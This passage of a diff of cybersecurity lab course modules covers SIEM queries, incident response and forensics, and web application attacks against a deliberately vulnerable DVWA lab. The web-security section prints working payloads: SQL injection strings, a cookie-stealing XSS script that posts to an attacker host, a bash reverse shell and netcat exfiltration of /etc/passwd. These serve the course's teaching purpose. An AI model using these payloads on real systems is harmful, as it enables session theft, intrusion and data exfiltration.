@timestamp: >= "2026-02-11T00:00:00"
|
||||
|
||||
# Nested field
|
||||
dns.question.name: "evil.com"
|
||||
```
|
||||
|
||||
### Common SOC Queries
|
||||
|
||||
**Find failed SSH logins:**
|
||||
```
|
||||
event.dataset: "system.auth" AND system.auth.ssh.event: "Failed"
|
||||
```
|
||||
|
||||
**Detect port scans (high SYN packet count):**
|
||||
```
|
||||
event.module: "suricata" AND network.transport: "tcp" AND suricata.eve.flow.pkts_toserver: >100
|
||||
```
|
||||
|
||||
**Find DNS queries to suspicious domains:**
|
||||
```
|
||||
dns.question.name: (*malware* OR *phishing* OR *bad*)
|
||||
```
|
||||
|
||||
**High-severity alerts:**
|
||||
```
|
||||
alert.severity: (1 OR 2) AND event.module: "suricata"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 4.5.2: BUILDING CUSTOM DASHBOARDS
|
||||
|
||||
### Create Attack Detection Dashboard
|
||||
|
||||
```
|
||||
1. Navigate to: Kibana > Dashboard > Create new dashboard
|
||||
|
||||
2. Add Visualization: Top Attack Signatures
|
||||
- Click "Create visualization"
|
||||
- Type: Vertical bar chart
|
||||
- Index pattern: so-*
|
||||
- Metrics: Count
|
||||
- Buckets: Terms → alert.signature.keyword
|
||||
- Top 10
|
||||
- Save: "Top Attack Signatures"
|
||||
|
||||
3. Add Visualization: Alert Timeline
|
||||
- Type: Line chart
|
||||
- X-axis: Date Histogram → @timestamp
|
||||
- Y-axis: Count
|
||||
- Save: "Alert Timeline"
|
||||
|
||||
4. Add Visualization: Source IP Geo Map
|
||||
- Type: Maps
|
||||
- Add layer: Documents
|
||||
- Index: so-*
|
||||
- Geospatial field: source.geo.location
|
||||
- Save: "Attack Source Map"
|
||||
|
||||
5. Add Visualization: Alert Severity Breakdown
|
||||
- Type: Pie chart
|
||||
- Slice: Terms → alert.severity
|
||||
- Save: "Severity Distribution"
|
||||
|
||||
6. Save Dashboard: "Apophis SOC - Attack Overview"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 4.5.3: DASHBOARD INTEGRATION WITH REACT SOC
|
||||
|
||||
### Export Data for Mock Dashboard
|
||||
|
||||
```bash
|
||||
# Query Security Onion for last 24h alerts
|
||||
# In Kibana Dev Tools:
|
||||
|
||||
POST /so-*/_search
|
||||
{
|
||||
"size": 100,
|
||||
"query": {
|
||||
"bool": {
|
||||
"must": [
|
||||
{ "range": { "@timestamp": { "gte": "now-24h" } } }
|
||||
]
|
||||
}
|
||||
},
|
||||
"sort": [
|
||||
{ "@timestamp": { "order": "desc" } }
|
||||
]
|
||||
}
|
||||
|
||||
# Export to JSON, then process for React dashboard:
|
||||
|
||||
# On Security Onion, create export script:
|
||||
cat > /home/analyst/export_dashboard_data.sh << 'EOF'
|
||||
#!/bin/bash
|
||||
# Export SOC data for dashboard integration
|
||||
|
||||
# Export alert counts
|
||||
curl -X GET "localhost:9200/so-*/_search?pretty" -H 'Content-Type: application/json' -d'
|
||||
{
|
||||
"size": 0,
|
||||
"aggs": {
|
||||
"severity_count": {
|
||||
"terms": { "field": "alert.severity" }
|
||||
}
|
||||
}
|
||||
}
|
||||
' > /tmp/severity_data.json
|
||||
|
||||
# Export top threats
|
||||
curl -X GET "localhost:9200/so-*/_search?pretty" -H 'Content-Type: application/json' -d'
|
||||
{
|
||||
"size": 0,
|
||||
"aggs": {
|
||||
"top_signatures": {
|
||||
"terms": { "field": "alert.signature.keyword", "size": 10 }
|
||||
}
|
||||
}
|
||||
}
|
||||
' > /tmp/top_threats.json
|
||||
|
||||
echo "Data exported to /tmp/"
|
||||
EOF
|
||||
|
||||
chmod +x /home/analyst/export_dashboard_data.sh
|
||||
./export_dashboard_data.sh
|
||||
|
||||
# Transfer to dashboard development environment
|
||||
scp /tmp/*.json user@dashboard-host:~/seclab/dashboard/src/data/live/
|
||||
```
|
||||
|
||||
### Convert to React Mock Data Format
|
||||
|
||||
```javascript
|
||||
// In dashboard/src/data/mockData.js, add real data integration:
|
||||
|
||||
export const importSecurityOnionData = async () => {
|
||||
// In production, this would fetch from Security Onion API
|
||||
// For now, use exported JSON files
|
||||
|
||||
const severityData = {
|
||||
critical: 45,
|
||||
high: 128,
|
||||
medium: 312,
|
||||
low: 891
|
||||
};
|
||||
|
||||
const topThreats = [
|
||||
{ ip: "203.0.113.50", count: 1247, country: "CN", severity: "critical" },
|
||||
{ ip: "198.51.100.23", count: 892, country: "RU", severity: "high" },
|
||||
// ... from exported data
|
||||
];
|
||||
|
||||
return { severityData, topThreats };
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 4.5.4: ALERT TUNING & FALSE POSITIVE REDUCTION
|
||||
|
||||
### Identify Noisy Rules
|
||||
|
||||
```
|
||||
# In Kibana, find most frequent alerts:
|
||||
POST /so-*/_search
|
||||
{
|
||||
"size": 0,
|
||||
"aggs": {
|
||||
"signatures": {
|
||||
"terms": {
|
||||
"field": "alert.signature.keyword",
|
||||
"size": 20,
|
||||
"order": { "_count": "desc" }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Common false positives:
|
||||
# - Internal vulnerability scanners (Nessus, OpenVAS)
|
||||
# - Legitimate admin tools (Nmap from IT)
|
||||
# - Noisy signatures (DNS ANY query, etc.)
|
||||
```
|
||||
|
||||
### Suppress False Positives
|
||||
|
||||
```bash
|
||||
# Edit Suricata threshold.config
|
||||
sudo nano /etc/suricata/threshold.config
|
||||
|
||||
# Suppress specific signature for specific IP
|
||||
suppress gen_id 1, sig_id 2100498, track by_src, ip 10.10.3.50
|
||||
# Signature 2100498 from source 10.10.3.50 will be suppressed
|
||||
|
||||
# Rate limit alerts (max 5 per 60 seconds)
|
||||
threshold gen_id 1, sig_id 2010937, type threshold, track by_src, count 5, seconds 60
|
||||
|
||||
# Restart Suricata
|
||||
sudo so-suricata-restart
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 4.5.5: LOG CORRELATION
|
||||
|
||||
### Multi-Source Event Correlation
|
||||
|
||||
**Scenario:** Detect full attack chain (scan → exploit → command execution)
|
||||
|
||||
```
|
||||
# Step 1: Find nmap scan in Suricata
|
||||
alert.signature: "GPL SCAN nmap*" AND source.ip: "10.10.2.50"
|
||||
# Note timestamp: 2026-02-11T14:30:00
|
||||
|
||||
# Step 2: Find exploit attempt within 10 minutes
|
||||
@timestamp: ["2026-02-11T14:30:00" TO "2026-02-11T14:40:00"]
|
||||
AND alert.signature: *exploit*
|
||||
AND destination.ip: "10.10.4.10"
|
||||
|
||||
# Step 3: Find Zeek connection logs showing data transfer
|
||||
event.dataset: "zeek.conn"
|
||||
AND source.ip: "10.10.2.50"
|
||||
AND destination.ip: "10.10.4.10"
|
||||
AND zeek.conn.orig_bytes: >10000
|
||||
AND @timestamp: ["2026-02-11T14:35:00" TO "2026-02-11T14:45:00"]
|
||||
|
||||
# Step 4: Build correlation rule (in Kibana detection rules)
|
||||
{
|
||||
"name": "Attack Chain: Scan to Exploit",
|
||||
"description": "Detects nmap scan followed by exploit attempt",
|
||||
"index": ["so-*"],
|
||||
"query": "sequence by source.ip with maxspan=15m
|
||||
[alert.signature: \"GPL SCAN nmap*\"]
|
||||
[alert.signature: *exploit*]"
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
##DELIVERABLES
|
||||
|
||||
- [ ] Custom Kibana dashboard with 5+ visualizations
|
||||
- [ ] KQL query library (saved searches for common threats)
|
||||
- [ ] Alert tuning configuration (threshold.config)
|
||||
- [ ] Correlation rule for attack chain detection
|
||||
- [ ] Data export script for React dashboard integration
|
||||
|
||||
---
|
||||
|
||||
**END OF MODULE 4.5**
|
||||
|
||||
Proceed to **MOD5: Active Directory Threat Emulation** after mastering SIEM query skills.
|
||||
15
MOD4_Defensive_Monitoring.md
Normal file
15
MOD4_Defensive_Monitoring.md
Normal file
@@ -0,0 +1,15 @@
|
||||
# FILE: MOD4_Defensive_Monitoring.md
|
||||
# MODULE 4: DEFENSIVE MONITORING AND THE SOC
|
||||
|
||||
## Key Points
|
||||
* **Intrusion Detection Systems (IDS):** Passive sensors that alert on malicious traffic signatures.
|
||||
* **SPAN / Port Mirroring:** Copying traffic from a network switch to a dedicated monitoring interface so the IDS can analyze it without interrupting flow.
|
||||
|
||||
## Configuration Steps
|
||||
1. **Deploy Security Onion:** Install the VM, assigning its primary vNIC to VLAN 300 (Management) and a secondary vNIC with no IP address (the "sniffing" interface).
|
||||
2. **Configure Port Mirroring:** In Proxmox, configure Open vSwitch or use `tc` (traffic control) on the Linux bridge to mirror traffic from the VLAN 400 interface to the Security Onion sniffing interface.
|
||||
3. **Validate Sensors:** Log into the Security Onion web interface (Kibana/Hunt) and verify it is receiving logs.
|
||||
|
||||
## Professor's Guide
|
||||
It is time to put your Blue Team hat on. Repeat the exact `nmap` scans and Metasploit attacks you executed in Modules 2 and 3. Then, log into your Security Onion dashboard. You should see alerts triggering for "Possible Nmap Scan" or "GPL EXPLOIT vsftpd backdoor attempt".
|
||||
Your assignment is to write a custom rule (using Suricata/Zeek syntax) that specifically flags the reverse shell payload attempting to communicate back to your Kali IP address over VLAN 200.
|
||||
1084
MOD5_Active_Directory_Emulation.md
Normal file
1084
MOD5_Active_Directory_Emulation.md
Normal file
File diff suppressed because it is too large
Load Diff
349
MOD6_Incident_Response.md
Normal file
349
MOD6_Incident_Response.md
Normal file
@@ -0,0 +1,349 @@
|
||||
# FILE: MOD6_Incident_Response.md
|
||||
# MODULE 6: INCIDENT RESPONSE & DIGITAL FORENSICS
|
||||
|
||||
## Learning Objectives
|
||||
- Follow NIST Incident Response lifecycle (PICERL)
|
||||
- Acquire forensic disk and memory images
|
||||
- Analyze artifacts with Autopsy and Volatility
|
||||
- Reconstruct attack timelines from logs and forensics
|
||||
- Write comprehensive incident response reports
|
||||
|
||||
---
|
||||
|
||||
## NIST IR LIFECYCLE
|
||||
|
||||
**PICERL Framework:**
|
||||
1. **Preparation:** Tools, procedures, training
|
||||
2. **Identification:** Detect and validate incidents
|
||||
3. **Containment:** Limit damage (short-term & long-term)
|
||||
4. **Eradication:** Remove threat from environment
|
||||
5. **Recovery:** Restore systems to normal operation
|
||||
6. **Lessons Learned:** Post-incident review
|
||||
|
||||
---
|
||||
|
||||
## LAB 6.1: DISK FORENSICS WITH AUTOPSY
|
||||
|
||||
### Acquire Disk Image
|
||||
|
||||
```bash
|
||||
# On Proxmox, snapshot compromised Metasploitable VM
|
||||
qm snapshot 401 forensics-image --description "Post-compromise forensic capture"
|
||||
|
||||
# Export disk image
|
||||
qm stop 401
|
||||
dd if=/dev/pve/vm-401-disk-0 of=/root/metasploitable_forensics.dd bs=4M
|
||||
# Or use FTK Imager on Windows for E01 format
|
||||
|
||||
# Calculate hash (evidence integrity)
|
||||
md5sum /root/metasploitable_forensics.dd > metasploitable.md5
|
||||
sha256sum /root/metasploitable_forensics.dd > metasploitable.sha256
|
||||
```
|
||||
|
||||
### Analyze with Autopsy
|
||||
|
||||
```
|
||||
1. Install Autopsy (on analyst workstation or Kali):
|
||||
sudo apt install autopsy
|
||||
|
||||
2. Start Autopsy:
|
||||
autopsy
|
||||
# Opens browser to http://localhost:9999/autopsy
|
||||
|
||||
3. Create New Case:
|
||||
- Case Name: Metasploitable Compromise Investigation
|
||||
- Description: Analysis of MOD3 exploitation artifacts
|
||||
- Investigator: [Your Name]
|
||||
|
||||
4. Add Data Source:
|
||||
- Type: Disk Image
|
||||
- Path: /root/metasploitable_forensics.dd
|
||||
- Import method: Calculate hash
|
||||
- Ingest modules: Select all
|
||||
|
||||
5. Key Analysis Areas:
|
||||
|
||||
TIMELINE ANALYSIS:
|
||||
- Tools > Generate Timeline
|
||||
- Filter by date of compromise
|
||||
- Look for: File modifications, command execution, new processes
|
||||
|
||||
WEB ARTIFACTS:
|
||||
- Data Artifacts > Web History
|
||||
- Check for attacker tool downloads
|
||||
|
||||
FILE ANALYSIS:
|
||||
- Deleted Files > Recover
|
||||
- Look in /tmp, /var/tmp for attacker tools
|
||||
- Search for .bash_history files
|
||||
|
||||
KEYWORD SEARCH:
|
||||
- Search: "backdoor", "shell", "exploit"
|
||||
- Search IPs: 10.10.2.50 (Kali attacker)
|
||||
|
||||
HASH ANALYSIS:
|
||||
- File > Hash Lookup
|
||||
- Compare against NSRL (known good files)
|
||||
- Identify unknown binaries (potential malware)
|
||||
```
|
||||
|
||||
### Key IOCs to Document
|
||||
- New user accounts created
|
||||
- Modified /etc/passwd, /etc/shadow
|
||||
- Suspicious cron jobs
|
||||
- Backdoor files in /tmp, /var/www
|
||||
- SSH authorized_keys modifications
|
||||
- Large outbound network transfers
|
||||
|
||||
---
|
||||
|
||||
## LAB 6.2: MEMORY FORENSICS WITH VOLATILITY
|
||||
|
||||
### Capture Memory Dump
|
||||
|
||||
```bash
|
||||
# From Proxmox, capture running VM memory
|
||||
virsh dump 401 /root/metasploitable_memory.dump --memory-only
|
||||
|
||||
# Or use LiME (Linux Memory Extractor) from within VM
|
||||
git clone https://github.com/504ensicsLabs/LiME
|
||||
cd LiME/src
|
||||
make
|
||||
sudo insmod lime-$(uname -r).ko "path=/tmp/memory.lime format=lime"
|
||||
```
|
||||
|
||||
### Analyze with Volatility 3
|
||||
|
||||
```bash
|
||||
# Install Volatility 3
|
||||
git clone https://github.com/volatilityfoundation/volatility3
|
||||
cd volatility3
|
||||
python3 setup.py install
|
||||
|
||||
# Identify OS profile
|
||||
vol -f /root/metasploitable_memory.dump banners.Banners
|
||||
|
||||
# List processes
|
||||
vol -f /root/metasploitable_memory.dump linux.pslist.PsList
|
||||
|
||||
# Find suspicious processes (look for bash, nc, python shells)
|
||||
vol -f /root/metasploitable_memory.dump linux.pslist.PsList | grep -E "bash|nc|python"
|
||||
|
||||
# View command line arguments
|
||||
vol -f /root/metasploitable_memory.dump linux.cmdline.CmdLine
|
||||
|
||||
# Network connections
|
||||
vol -f /root/metasploitable_memory.dump linux.netstat.Netstat
|
||||
# Look for connections to 10.10.2.50:4444 (reverse shell)
|
||||
|
||||
# Extract process memory
|
||||
vol -f /root/metasploitable_memory.dump -o /tmp/dump linux.proc.Maps --pid 1234 --dump
|
||||
|
||||
# Bash history from memory
|
||||
vol -f /root/metasploitable_memory.dump linux.bash.Bash
|
||||
|
||||
# Loaded kernel modules (rootkit detection)
|
||||
vol -f /root/metasploitable_memory.dump linux.lsmod.Lsmod
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 6.3: NETWORK FORENSICS
|
||||
|
||||
### PCAP Analysis from MOD3 Exploitation
|
||||
|
||||
```bash
|
||||
# Analyze saved packet capture from Wireshark
|
||||
|
||||
# Extract files transferred over HTTP
|
||||
tcpflow -r exploit_traffic.pcap -o extracted_files/
|
||||
|
||||
# Reconstruct TCP streams
|
||||
for stream in $(tshark -r exploit_traffic.pcap -T fields -e tcp.stream | sort -u); do
|
||||
tshark -r exploit_traffic.pcap -q -z follow,tcp,ascii,$stream
|
||||
done
|
||||
|
||||
# Find reverse shell traffic
|
||||
tshark -r exploit_traffic.pcap -Y "tcp.dstport == 4444" -T fields -e frame.time -e ip.src -e ip.dst -e tcp.payload
|
||||
|
||||
# DNS exfiltration detection (long domain names)
|
||||
tshark -r exploit_traffic.pcap -Y "dns.qry.name.len > 50" -T fields -e dns.qry.name
|
||||
```
|
||||
|
||||
### Using NetworkMiner (GUI alternative)
|
||||
|
||||
```
|
||||
1. Install NetworkMiner (Windows or Linux)
|
||||
2. Open exploit_traffic.pcap
|
||||
3. View tabs:
|
||||
- Hosts: See attacker (10.10.2.50) and victim (10.10.4.10)
|
||||
- Files: Auto-extracted files transferred
|
||||
- Credentials: Captured plaintext passwords
|
||||
- Sessions: TCP conversations
|
||||
- DNS: Domain lookups
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 6.4: LOG ANALYSIS FOR IR
|
||||
|
||||
### Linux System Log Analysis
|
||||
|
||||
```bash
|
||||
# Authentication logs
|
||||
sudo grep "Failed password" /var/log/auth.log | wc -l
|
||||
# Count brute-force attempts
|
||||
|
||||
# Successful logins after failures
|
||||
sudo grep "Accepted password" /var/log/auth.log | tail -n 20
|
||||
|
||||
# New user creation
|
||||
sudo grep "useradd" /var/log/auth.log
|
||||
|
||||
# Sudo command execution
|
||||
sudo grep "COMMAND" /var/log/auth.log
|
||||
|
||||
# Cron job modifications
|
||||
sudo grep "cron" /var/log/syslog
|
||||
|
||||
# Web server access logs
|
||||
tail -n 100 /var/log/apache2/access.log
|
||||
# Look for exploit payloads in URLs
|
||||
grep -E "\.\.\/|<script|UNION|cmd=" /var/log/apache2/access.log
|
||||
```
|
||||
|
||||
### Timeline Creation
|
||||
|
||||
```bash
|
||||
# Combine all logs by timestamp
|
||||
cat /var/log/auth.log /var/log/syslog /var/log/apache2/access.log | sort -k1,3 > combined_timeline.txt
|
||||
|
||||
# Or use log2timeline (Plaso)
|
||||
log2timeline.py --storage_file timeline.plaso /var/log/
|
||||
psort.py -o l2tcsv -w timeline.csv timeline.plaso
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 6.5: INCIDENT REPORT WRITING
|
||||
|
||||
### Report Structure
|
||||
|
||||
```markdown
|
||||
# INCIDENT RESPONSE REPORT
|
||||
**Case ID:** IR-2026-02-001
|
||||
**Incident Type:** Unauthorized Access - Exploitation
|
||||
**Severity:** CRITICAL
|
||||
**Status:** Contained
|
||||
**Date Range:** 2026-02-11 14:00 - 15:30 UTC
|
||||
**Analyst:** [Your Name]
|
||||
|
||||
## EXECUTIVE SUMMARY
|
||||
On February 11, 2026, at approximately 14:00 UTC, an unauthorized actor exploited a vulnerable FTP service (vsftpd 2.3.4) on production server 10.10.4.10, gaining root-level access. The attacker performed credential harvesting and established persistence via SSH key injection. The incident was contained at 15:30 UTC with no evidence of data exfiltration.
|
||||
|
||||
## TIMELINE OF EVENTS
|
||||
| Time (UTC) | Event | Source |
|
||||
|------------|-------|--------|
|
||||
| 14:00:15 | Port scan detected from 10.10.2.50 | Suricata IDS |
|
||||
| 14:15:32 | vsftpd backdoor triggered | auth.log |
|
||||
| 14:16:05 | Root shell established on port 6200 | netstat, PCAP |
|
||||
| 14:18:22 | /etc/shadow downloaded | File integrity monitoring |
|
||||
| 14:20:45 | SSH authorized_keys modified | auth.log |
|
||||
| 14:25:10 | Incident detected by SOC analyst | Security Onion alert |
|
||||
| 15:30:00 | Server isolated, attacker access terminated | Firewall logs |
|
||||
|
||||
## INDICATORS OF COMPROMISE (IOCs)
|
||||
**Network:**
|
||||
- Attacker IP: 10.10.2.50
|
||||
- C2 Port: 6200 (vsftpd backdoor)
|
||||
- Reverse shell: 10.10.2.50:4444
|
||||
|
||||
**File System:**
|
||||
- /root/.ssh/authorized_keys (modified 2026-02-11 14:20:45)
|
||||
- /tmp/.hidden_shell.sh (created 2026-02-11 14:17:00)
|
||||
- MD5: a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4
|
||||
|
||||
**Processes:**
|
||||
- PID 6543: /bin/bash (spawned by vsftpd, uid=0)
|
||||
|
||||
## ROOT CAUSE ANALYSIS
|
||||
1. **Vulnerability:** vsftpd 2.3.4 contains hardcoded backdoor (CVE-2011-2523)
|
||||
2. **Lack of Patching:** Service running outdated version (released 2011)
|
||||
3. **Detection Gap:** IDS signature existed but alert was not tuned for priority response
|
||||
4. **Network Segmentation Failure:** Victim server allowed outbound connection to attacker network
|
||||
|
||||
## CONTAINMENT ACTIONS
|
||||
1. Isolated server at network layer (pfSense block rule)
|
||||
2. Terminated attacker SSH sessions (killed PIDs)
|
||||
3. Disabled vsftpd service (systemctl stop vsftpd)
|
||||
4. Changed all system passwords
|
||||
5. Removed unauthorized SSH keys
|
||||
|
||||
## ERADICATION
|
||||
1. Rebuilt server from clean snapshot (pre-compromise)
|
||||
2. Patched vsftpd to version 3.0.5
|
||||
3. Removed attacker-created user accounts
|
||||
4. Cleared cron jobs
|
||||
|
||||
## RECOVERY
|
||||
1. Validated system integrity (rkhunter, chkrootkit)
|
||||
2. Restored from secure backup
|
||||
3. Monitored for 48 hours (no reinfection)
|
||||
4. Returned to production 2026-02-13 10:00 UTC
|
||||
|
||||
## LESSONS LEARNED
|
||||
**What Went Well:**
|
||||
- IDS detected reconnaissance phase
|
||||
- Forensic artifacts preserved due to snapshot policy
|
||||
- Incident contained within 90 minutes of detection
|
||||
|
||||
**What Needs Improvement:**
|
||||
- Vulnerability management process (vsftpd was 15 years old!)
|
||||
- Alert prioritization (scan alerts should trigger immediate investigation)
|
||||
- Egress filtering (victim should not reach Red Team network)
|
||||
|
||||
## RECOMMENDATIONS
|
||||
1. **Immediate:** Implement vulnerability scanning (weekly, automated)
|
||||
2. **Short-term:** Deploy application whitelisting on critical servers
|
||||
3. **Long-term:** Implement zero-trust architecture (segment victim networks further)
|
||||
4. **Process:** Conduct tabletop exercises quarterly
|
||||
|
||||
## APPENDICES
|
||||
- Appendix A: Full network packet capture (exploit_traffic.pcapng)
|
||||
- Appendix B: Disk forensic image hash (SHA256: abc123...)
|
||||
- Appendix C: Memory dump analysis (Volatility output)
|
||||
- Appendix D: Log files (auth.log, syslog, apache2 access.log)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## KNOWLEDGE CHECK
|
||||
|
||||
1. **What are the 6 phases of NIST incident response?**
|
||||
- Answer: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned
|
||||
|
||||
2. **Why must forensic images be hashed?**
|
||||
- Answer: Prove integrity and chain of custody for legal admissibility
|
||||
|
||||
3. **What Volatility command lists running processes?**
|
||||
- Answer: `linux.pslist.PsList` (or `windows.pslist` for Windows)
|
||||
|
||||
4. **Name 3 IOCs from the example incident**
|
||||
- Answer: Attacker IP 10.10.2.50, modified authorized_keys, vsftpd backdoor port 6200
|
||||
|
||||
---
|
||||
|
||||
## DELIVERABLES
|
||||
|
||||
- [ ] Disk forensic image with hash values
|
||||
- [ ] Memory dump with Volatility analysis report
|
||||
- [ ] PCAP file from exploitation phase
|
||||
- [ ] Complete incident timeline (spreadsheet)
|
||||
- [ ] Full incident response report (10+ pages)
|
||||
- [ ] Lessons learned presentation
|
||||
|
||||
---
|
||||
|
||||
**END OF MODULE 6**
|
||||
|
||||
Proceed to **MOD7: Web Application Security** to expand attack surface knowledge.
|
||||
311
MOD7_Web_Application_Security.md
Normal file
311
MOD7_Web_Application_Security.md
Normal file
@@ -0,0 +1,311 @@
|
||||
# FILE: MOD7_Web_Application_Security.md
|
||||
# MODULE 7: WEB APPLICATION SECURITY
|
||||
|
||||
## Learning Objectives
|
||||
- Understand OWASP Top 10 vulnerabilities
|
||||
- Perform SQL injection and XSS attacks
|
||||
- Use Burp Suite for web app penetration testing
|
||||
- Configure Web Application Firewall (WAF) defenses
|
||||
- Detect web attacks in Security Onion
|
||||
|
||||
---
|
||||
|
||||
## OWASP TOP 10 (2021)
|
||||
|
||||
1. **A01 - Broken Access Control**
|
||||
2. **A02 - Cryptographic Failures**
|
||||
3. **A03 - Injection** (SQL, Command, LDAP)
|
||||
4. **A04 - Insecure Design**
|
||||
5. **A05 - Security Misconfiguration**
|
||||
6. **A06 - Vulnerable Components**
|
||||
7. **A07 - Authentication Failures**
|
||||
8. **A08 - Software and Data Integrity Failures**
|
||||
9. **A09 - Security Logging Failures**
|
||||
10. **A10 - Server-Side Request Forgery (SSRF)**
|
||||
|
||||
---
|
||||
|
||||
## LAB 7.1: DEPLOY DVWA (DAMN VULNERABLE WEB APP)
|
||||
|
||||
```bash
|
||||
# On victim network (VLAN 400), deploy Docker container
|
||||
# From Proxmox, create Ubuntu VM (VM ID 402)
|
||||
|
||||
# Install Docker
|
||||
sudo apt update
|
||||
sudo apt install docker.io -y
|
||||
sudo systemctl start docker
|
||||
|
||||
# Deploy DVWA
|
||||
sudo docker run -d -p 80:80 vulnerables/web-dvwa
|
||||
# Access at http://10.10.4.20/
|
||||
|
||||
# Initial setup:
|
||||
# - Create database (click button)
|
||||
# - Login: admin / password
|
||||
# - Set security level: Low (for learning)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 7.2: SQL INJECTION
|
||||
|
||||
### Understanding SQL Injection
|
||||
|
||||
**Vulnerable code example:**
|
||||
```php
|
||||
$query = "SELECT * FROM users WHERE username='$_POST[user]' AND password='$_POST[pass]'";
|
||||
```
|
||||
|
||||
**Attack:** Inject SQL syntax to bypass authentication
|
||||
|
||||
### Hands-On SQL Injection
|
||||
|
||||
```
|
||||
1. Navigate to DVWA > SQL Injection
|
||||
|
||||
2. Test for vulnerability:
|
||||
Input: 1' OR '1'='1
|
||||
# Completes SQL: SELECT * FROM users WHERE user_id = '1' OR '1'='1'
|
||||
# Always true → Returns all users
|
||||
|
||||
3. Enumerate database structure:
|
||||
Input: 1' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=database() #
|
||||
# Shows all table names
|
||||
|
||||
4. Extract data:
|
||||
Input: 1' UNION SELECT user, password FROM users #
|
||||
# Dumps usernames and password hashes
|
||||
|
||||
5. Use SQLMap (automated tool):
|
||||
# From Kali
|
||||
sqlmap -u "http://10.10.4.20/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=abc123; security=low" --dbs
|
||||
# --dbs: List databases
|
||||
# --tables -D dvwa: List tables in dvwa database
|
||||
# --dump -T users: Dump users table
|
||||
```
|
||||
|
||||
### Defense: Prepared Statements
|
||||
|
||||
```php
|
||||
// SECURE code using prepared statements
|
||||
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
|
||||
$stmt->execute([$_POST['user'], $_POST['pass']]);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 7.3: CROSS-SITE SCRIPTING (XSS)
|
||||
|
||||
### Types of XSS
|
||||
- **Reflected XSS:** Payload in URL, reflected in response
|
||||
- **Stored XSS:** Payload saved in database, displayed to all users
|
||||
- **DOM-based XSS:** Payload manipulates client-side JavaScript
|
||||
|
||||
### Reflected XSS Attack
|
||||
|
||||
```
|
||||
1. Navigate to DVWA > XSS (Reflected)
|
||||
|
||||
2. Simple payload:
|
||||
Input: <script>alert('XSS')</script>
|
||||
# JavaScript executes in browser
|
||||
|
||||
3. Cookie theft payload:
|
||||
Input: <script>document.location='http://10.10.2.50/steal.php?cookie='+document.cookie</script>
|
||||
# Sends victim's cookies to attacker server
|
||||
|
||||
4. On Kali, setup listener:
|
||||
# Create steal.php:
|
||||
<?php
|
||||
file_put_contents('stolen_cookies.txt', $_GET['cookie'] . "\n", FILE_APPEND);
|
||||
?>
|
||||
|
||||
# Start PHP server:
|
||||
php -S 0.0.0.0:80
|
||||
|
||||
5. Send malicious link to victim:
|
||||
http://10.10.4.20/vulnerabilities/xss_r/?name=<script>document.location='http://10.10.2.50/steal.php?cookie='+document.cookie</script>
|
||||
```
|
||||
|
||||
### Defense: Input Validation & Output Encoding
|
||||
|
||||
```php
|
||||
// SECURE: HTML encode output
|
||||
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 7.4: BURP SUITE ESSENTIALS
|
||||
|
||||
### Setup Burp Suite
|
||||
|
||||
```
|
||||
1. Launch Burp Suite Community Edition (pre-installed on Kali)
|
||||
burpsuite &
|
||||
|
||||
2. Configure Firefox proxy:
|
||||
Preferences > Network Settings > Manual proxy
|
||||
HTTP Proxy: 127.0.0.1
|
||||
Port: 8080
|
||||
Check: "Use this proxy for all protocols"
|
||||
|
||||
3. Navigate to DVWA in Firefox
|
||||
- Burp captures all HTTP requests
|
||||
|
||||
4. Burp Proxy Tab:
|
||||
- Intercept is on: Requests pause, you can modify
|
||||
- Intercept is off: Requests pass through (logged in HTTP history)
|
||||
```
|
||||
|
||||
### Intercepting and Modifying Requests
|
||||
|
||||
```
|
||||
1. Login to DVWA (admin/password)
|
||||
2. In Burp, see POST request with credentials
|
||||
3. Right-click request > Send to Repeater
|
||||
4. In Repeater tab:
|
||||
- Modify parameters
|
||||
- Click "Send"
|
||||
- View response
|
||||
5. Example: Change security level in cookie
|
||||
Original: security=low
|
||||
Modified: security=impossible
|
||||
# Bypass security restrictions
|
||||
```
|
||||
|
||||
### Intruder (Automated Attacks)
|
||||
|
||||
```
|
||||
1. Capture login request in Burp Proxy
|
||||
2. Right-click > Send to Intruder
|
||||
3. Intruder tab:
|
||||
- Attack type: Sniper (single parameter)
|
||||
- Positions: Highlight password field, click "Add §"
|
||||
4. Payloads tab:
|
||||
- Payload type: Simple list
|
||||
- Load: /usr/share/wordlists/rockyou.txt
|
||||
5. Start attack:
|
||||
- Brute-force passwords
|
||||
- Look for different response length (successful login)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 7.5: COMMAND INJECTION
|
||||
|
||||
### Exploiting OS Command Injection
|
||||
|
||||
```
|
||||
1. Navigate to DVWA > Command Injection
|
||||
|
||||
2. Test input:
|
||||
Input: 127.0.0.1
|
||||
# Normal ping command executes
|
||||
|
||||
3. Chain commands:
|
||||
Input: 127.0.0.1 | whoami
|
||||
# Executes: ping 127.0.0.1 | whoami
|
||||
# Shows current user
|
||||
|
||||
4. Reverse shell via command injection:
|
||||
Input: 127.0.0.1 | bash -i >& /dev/tcp/10.10.2.50/4444 0>&1
|
||||
# On Kali first: nc -lvnp 4444
|
||||
# Gets shell on web server
|
||||
|
||||
5. Exfiltrate data:
|
||||
Input: 127.0.0.1 | cat /etc/passwd | nc 10.10.2.50 5555
|
||||
# On Kali: nc -lvnp 5555 > passwd_stolen.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 7.6: WEB APPLICATION FIREWALL (WAF)
|
||||
|
||||
### Deploy ModSecurity on pfSense
|
||||
|
||||
